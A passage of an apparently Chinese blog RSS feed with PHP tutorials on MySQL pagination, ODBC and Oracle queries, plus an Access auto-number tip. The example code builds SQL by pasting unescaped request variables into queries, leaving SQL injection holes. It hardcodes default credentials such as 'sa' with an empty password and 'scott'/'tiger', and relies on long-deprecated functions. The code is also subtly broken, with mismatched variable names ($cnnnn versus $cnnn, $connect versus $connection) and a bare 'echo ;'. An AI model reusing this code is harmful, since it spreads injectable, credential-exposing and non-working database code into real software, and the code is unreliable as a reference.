<p>if($pageno>0) {<br />  $href = eregi_replace(“%2f”,”/”,urlencode($PHP_SELF));//把$PHP_SELF转换为可以在URL上使用的字符串，这样的话就可以处理中文目录或中文文件名</p>
<p>if($pageno>1){//显示上一页的裢接<br />  echo “<a href="" . $href . "?pageno=" . ($pageno-1) . "">上一页</a> “;<br />}else{<br />  echo “上一页”;<br />}</p>
<p>for($i=1;$i<$pageno;$i++){<br />  echo “<a href="" . $href . "?pageno=" . $i . "">” . $i . “</a> “; <br />}</p>
<p>echo $pageno . ” “;</p>
<p>for($i++;$i<=$pagecount;$i++){<br />  echo “<a href="" . $href . "?pageno=" . $i . "">” . $i . “</a> “;<br />}</p>
<p>if($pageno<$pagecount){//显示下一页的裢接<br />  echo “<a href="" . $href . "?pageno=" . ($pageno+1) . "">下一页</a> “;<br />}else{<br /> echo “下一页 “;<br />}</p>
<p>$offset = ($pageno-1) * $pagesize;//算出本页第一条记录在整个表中的位置(第一条记录为0)<br />$sql = “select * from pagetest LIMIT $offset,$pagesize”;//生成查询本页数据的SQL语句<br />$rst = mysql_query($sql);//查询本页数据<br />$num_fields = mysql_num_fields($rst);//取得字段总数<br />$i = 0;</p>
<p>while($i<$num_fields){//取得所有字段的名字<br />  $fields&#91;$i&#93; = mysql_field_name($rst,$i);//取得第i+1个字段的名字<br />  $i++;<br />}<br />echo “<br />
<table border="1" cellspacing="0" cellpadding="0">“;//开始输出表格<br />echo “<br />
<tr>“;<br />reset($fields);</p>
<p>while(list(,$field_name)=each($fields)){//显示字段名称<br />  echo “
<th>$field_name</th>
<p>“;<br />}<br />echo “</tr>
<p>“;</p>
<p>while($row=mysql_fetch_array($rst)){//显示本页数据<br />  echo “<br />
<tr>“;<br />   reset($fields);<br />   while(list(,$field_name)=each($fields)){//显示每个字段的值<br />     $field_value = $row&#91;$field_name&#93;;<br />       if($field_value==”"){<br />          echo “
<td> </td>
<p>“;<br />       }else{<br />          echo “
<td>$field_value</td>
<p>“;<br />       }<br />}<br />echo “</tr>
<p>“;<br />}<br /> echo “</table>
<p>“;//表格输出结束</p>
<p> mysql_free_result($rst) or die(“无法释放result资源！”);//释放result资源<br />}else{<br /> echo “目前该表中没有任何数据！”;<br />}<br />mysql_close($server) or die(“无法与服务器断开连接！”);//断开连接并释放资源<br />?></coolcode><br/><br/>开放数据库连接（ODBC）已成为一种与数据库进行通信的工业标准。PHP也提供了标准的接口，使得PHP能调用Access，SQL SERVER等数据库。其相关函数是：<br/><br/>（1）integer odbc_connect(string dsn, string user, string password)<br/><br/>连接到一个ODBC数据库源名字上。<br/><br/>（2）integer odbc_exec(integer connection, string query)或 odbc_do(integer connection, string query)<br/><br/>在一个连接上执行查询。<br/><br/>（3）boolean odbc_fetch_row(integer result, integer row)<br/><br/>从一个结果集中获取一行数据。Row参数是可选的，若为空缺，则返回下一个有效行。在结果集中不再剩余行时返回false。<br/><br/>（4）boolean odbc_close(integer connection)<br/><br/>关闭一个数据库的连接。若在该连接上有打开的事务，则返回一个错误，而且连接不会被关闭。<br/><br/>最后，还是看个分页的例子：<br/><br/><br/><coolcode><?php<br />$show_num = 10;//设定每页显示条数<br />$spages = $pages;//避免$pages后期被改变</p>
<p>//定义连接<br />$dsn = “localhost”;<br />$user = “sa”;<br />$password = “”;</p>
<p>//计算总记录数<br />$rs_num = “select count(*) as id from bbs where zu=&#039;0&#039; and lei=&#039;”.$lei.”&#039;”;<br />$conn_id = odbc_connect($dsn,$user,$password);<br />$rnum = odbc_exec($conn_id,$rs_num);<br />while(odbc_fetch_row($rnum)){<br />   $total_rs = odbc_result($rnum,”id”);//将总记录数放入$total_rs变量<br />}</p>
<p>//计算与页有关的条数<br />$nnn = $total_rs / $show_num;//计算总页数<br />$hnnn = intval($nnn);//将总页数取整<br />$cnnnn = $nnn &#8211; $hnnn;</p>
<p>//计算所需总页数<br />switch ($cnnn){<br />  case “0&#8243;:<br />    $hnnn++;<br />    $nnn = $hnnn;//总页数<br />   break;<br /> default :<br />    $nnn = $hnnn;//总页数<br />   break;<br />};</p>
<p>if ($nnn == 0)$nnn++; </p>
<p>//计算页面改变所需的条件<br />$fore = $pages;<br />$next = $pages;<br />$fore -= 1;<br />$next += 1;<br />if ($fore > 0) {<br />  echo “<a>首页</a>“;<br />  echo “<a>前页</a>“;<br />};</p>
<p>if ($pages < $nnn) {<br />  echo “<a>后页</a>“;<br />  echo “<a>尾页</a>“;<br />};<br />echo “共”.$nnn.”页”;<br />$query_string = “SELECT * FROM table where condition order by you wanted order”;<br />$cur = odbc_exec($conn_id,$query_string);</p>
<p>//取到循环的顶部<br />$cnum = ($pages-1) * $show_num;//计算当前的记录游标的位置</p>
<p>//空循环到显示记录游标处 <br />if ($cnum != 0){<br />  for ($i=0;$i<=$cnum;odbc_fetch_row($cur)){$i++;};<br />};<br />$i=1;</p>
<p>//显示记录<br />while(odbc_fetch_row($cur)){<br />  echo ;<br />  if ($i == $show_num){//在不满页数时跳出程序<br /> break; <br />};<br />  $i++;<br />}; <br />//关闭连接<br />odbc_close($conn_id);<br />?></coolcode><br/><br/>Oracle（甲骨文）是世界上最为流行的关系数据库。它是大公司推崇的工业化的强有力的引擎。我们先看看其相关的函数：<br/><br/>（1）integer ora_logon(string user , string password)<br/><br/>开始对一个Oracle数据库服务器的连接。<br/><br/>（2）integer ora_open(integer connection)<br/><br/>打开给出的连接的游标。<br/><br/>（3）integer ora_do(integer connection, string query)<br/><br/>在给出的连接上执行查询。PHP生成一个指示器，解析查询，并执行之。<br/><br/>（4）integer ora_parse(integer cursor, string query)<br/><br/>解析一个查询并准备好执行。<br/><br/>（5）boolean ora_exec(integer cursor)<br/><br/>执行一个先前由ora_parse函数解析过的查询。<br/><br/>（6）boolean ora_fetch(integer cursor)<br/><br/>此函数会使得一个执行过的查询中的行被取到指示器中。这使得您可以调用ora_getcolumn函数。<br/><br/>（7）string ora_getcolumn(integer cursor, integer column)<br/><br/>返回当前的值。列由零开始的数字索引。<br/><br/>（8）boolean ora_logoff(integer connection)<br/><br/>断开对数据库服务器的链接。<br/><br/>以下是向ORACLE数据库插入数据的示例程序： <br/><br/><br/><coolcode><html><br /><head></head><br /><body><br />
<form action="<?echo $PHP_SELF;?>” method=”post”><br />
<table border="1" cellspacing="0" cellpadding="0">
<tr>
<th>ID</th>
<p>
<th>name</th>
<p>
<th>Description</th>
<p></tr>
<p>
<tr>
<td>
<input type="text" name="name" maxlength="50" size="10"></td>
<p>
<td>
<input type="text" name="email" maxlength="255" size="30"></td>
<p>
<td>
<input type="text" name="Description" maxlength="255" size="50"></td>
<p></tr>
<p>
<tr align="center">
<td colspan="3">
<input type="submit" value="提交">
<input type="reset" value="重写"></td>
<p></tr>
<p></table>
<p></form>
<p><?</p>
<p>//先设置两个环境变量ORACLE_HOME，ORACLE_SID<br />putenv(“ORACLE_HOME=/oracle/app/oracle/product/8.0.4&#8243;);<br />putenv(“ORACLE_SID=ora8&#8243;);</p>
<p>//设置网页显示中文<br />putenv(“NLS_LANG=Simplified_Chinese.zhs16cgb231280&#8243;);<br />if($connection=ora_logon(“scott”,”tiger”)) {<br />//库表test有ID,name,Description三项<br />  $sql = &#039;insert into test(ID,name,Description) values &#039;; <br />   $sql .= &#039;(&#039;&#039; . $ID . &#039;&#039;,&#039;&#039; . $name . &#039;&#039;,&#039;&#039;. $Description . &#039;&#039;)&#039;;<br />   if($cursor=ora_do($connect,$sql)) {<br />      print(“insert finished!”);<br />   }<br />$query = &#039;select * from test&#039;;<br />if($cursor=ora_do($connect,$query)) {<br />  ora_fetch($cursor);<br />  $content0=ora_getcolumn($cursor,0);<br />  $content1=ora_getcolumn($cursor,1);<br />  $content2=ora_getcolumn($cursor,2);<br />  print(“$content0&#8243;);<br />  print(“$content1&#8243;);<br />  print(“$content2&#8243;);<br />  ora_close($cursor);<br />}<br />  ora_logoff($connection);<br />}<br />?><br /></body><br /></html> </coolcode></p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/wangshangzhenglideandroidquanxiandaquan.html" title="网上整理的android权限大全">网上整理的android权限大全</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeeeee-2.html" title="防止网卡被禁用的具体配置方法">防止网卡被禁用的具体配置方法</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html" title="完美解决“由于这台计算机没有终端服务器客户端访问许可证”">完美解决“由于这台计算机没有终端服务器客户端访问许可证”</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/php/php%E8%BF%9E%E6%8E%A5%E5%90%84%E7%A7%8D%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E6%96%B9%E6%B3%95.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>自定义数据库自动编号初始值和步进值</title>
		<link>http://www.5bay.cn/me/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%95%B0%E6%8D%AE%E5%BA%93%E8%87%AA%E5%8A%A8%E7%BC%96%E5%8F%B7%E5%88%9D%E5%A7%8B%E5%80%BC%E5%92%8C%E6%AD%A5%E8%BF%9B%E5%80%BC.html</link>
		<comments>http://www.5bay.cn/me/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%95%B0%E6%8D%AE%E5%BA%93%E8%87%AA%E5%8A%A8%E7%BC%96%E5%8F%B7%E5%88%9D%E5%A7%8B%E5%80%BC%E5%92%8C%E6%AD%A5%E8%BF%9B%E5%80%BC.html#comments</comments>
		<pubDate>Wed, 21 Mar 2007 20:45:11 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[邪人邪语]]></category>
		<category><![CDATA[初始值]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[步进值]]></category>
		<category><![CDATA[自动编号]]></category>
		<category><![CDATA[自定义]]></category>

		<guid isPermaLink="false">?p=223</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/me/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%95%B0%E6%8D%AE%E5%BA%93%E8%87%AA%E5%8A%A8%E7%BC%96%E5%8F%B7%E5%88%9D%E5%A7%8B%E5%80%BC%E5%92%8C%E6%AD%A5%E8%BF%9B%E5%80%BC.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>　　自定义数据库自动编号初始值和步进值问题： 如何定义数据库的自动编号字段的初始值和步进值？如何定义自动增加字段的初始值和步进值？如何使删除过数据的自动增加字段的开始值重新从1开始？　　回答： 通过以下语句，你可以在建表的时候指定其起始值和步进值：CREATE TABLE tblNewOrder2 ( OrderId AUTOINCREMENT (1000, 10), ItemId LONG, Quantity LONG) 　　你也可以用下面的语句修改下一个起始值和步进值：ALTER TABLE tblOrder ALTER COLUMN OrderId COUNTER (2000, 50) 　　要重新开始：ALTER TABLE tableName ALTER COLUMN OrderId COUNTER (1, 1) 在 VBE 界面里面用以下代码：docmd.runsql &#34;ALTER TABLE tableName ALTER COLUMN OrderId COUNTER (1, 1)&#34; 　　这里要注意的是自动编号往往被用作标识记录的唯一性，但是 Jet 在用 DDL 语句更改自动编号的同时不会保证修改后的自动编号仍然保持唯一性，因此会出现标识号重复的现象。要避免这一现象最好把自动编号设定为主键、或者不可重复。 相关博文2011年06月29日 -- 网上整理的android权限大全 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 [...]]]></description>
			<content:encoded><![CDATA[<p>　　自定义数据库自动编号初始值和步进值问题： 如何定义数据库的自动编号字段的初始值和步进值？如何定义自动增加字段的初始值和步进值？如何使删除过数据的自动增加字段的开始值重新从1开始？<br/><br/>　　回答： 通过以下语句，你可以在建表的时候指定其起始值和步进值：CREATE TABLE tblNewOrder2 ( OrderId AUTOINCREMENT (1000, 10), ItemId LONG, Quantity LONG) <br/><br/>　　你也可以用下面的语句修改下一个起始值和步进值：ALTER TABLE tblOrder ALTER COLUMN OrderId COUNTER (2000, 50) <br/><br/>　　要重新开始：ALTER TABLE tableName ALTER COLUMN OrderId COUNTER (1, 1) 在 VBE 界面里面用以下代码：docmd.runsql &quot;ALTER TABLE tableName ALTER COLUMN OrderId COUNTER (1, 1)&quot; <br/><br/>　　这里要注意的是自动编号往往被用作标识记录的唯一性，但是 Jet 在用 DDL 语句更改自动编号的同时不会保证修改后的自动编号仍然保持唯一性，因此会出现标识号重复的现象。要避免这一现象最好把自动编号设定为主键、或者不可重复。<br/></p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/wangshangzhenglideandroidquanxiandaquan.html" title="网上整理的android权限大全">网上整理的android权限大全</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html" title="完美解决“由于这台计算机没有终端服务器客户端访问许可证”">完美解决“由于这台计算机没有终端服务器客户端访问许可证”</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E5%88%9D%E5%A7%8B%E5%80%BC" title="初始值" rel="tag">初始值</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%AD%A5%E8%BF%9B%E5%80%BC" title="步进值" rel="tag">步进值</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E5%8A%A8%E7%BC%96%E5%8F%B7" title="自动编号" rel="tag">自动编号</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E5%AE%9A%E4%B9%89" title="自定义" rel="tag">自定义</a>, <a href="http://www.5bay.cn/category/me" title="邪人邪语" rel="tag">邪人邪语</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/me/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%95%B0%E6%8D%AE%E5%BA%93%E8%87%AA%E5%8A%A8%E7%BC%96%E5%8F%B7%E5%88%9D%E5%A7%8B%E5%80%BC%E5%92%8C%E6%AD%A5%E8%BF%9B%E5%80%BC.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

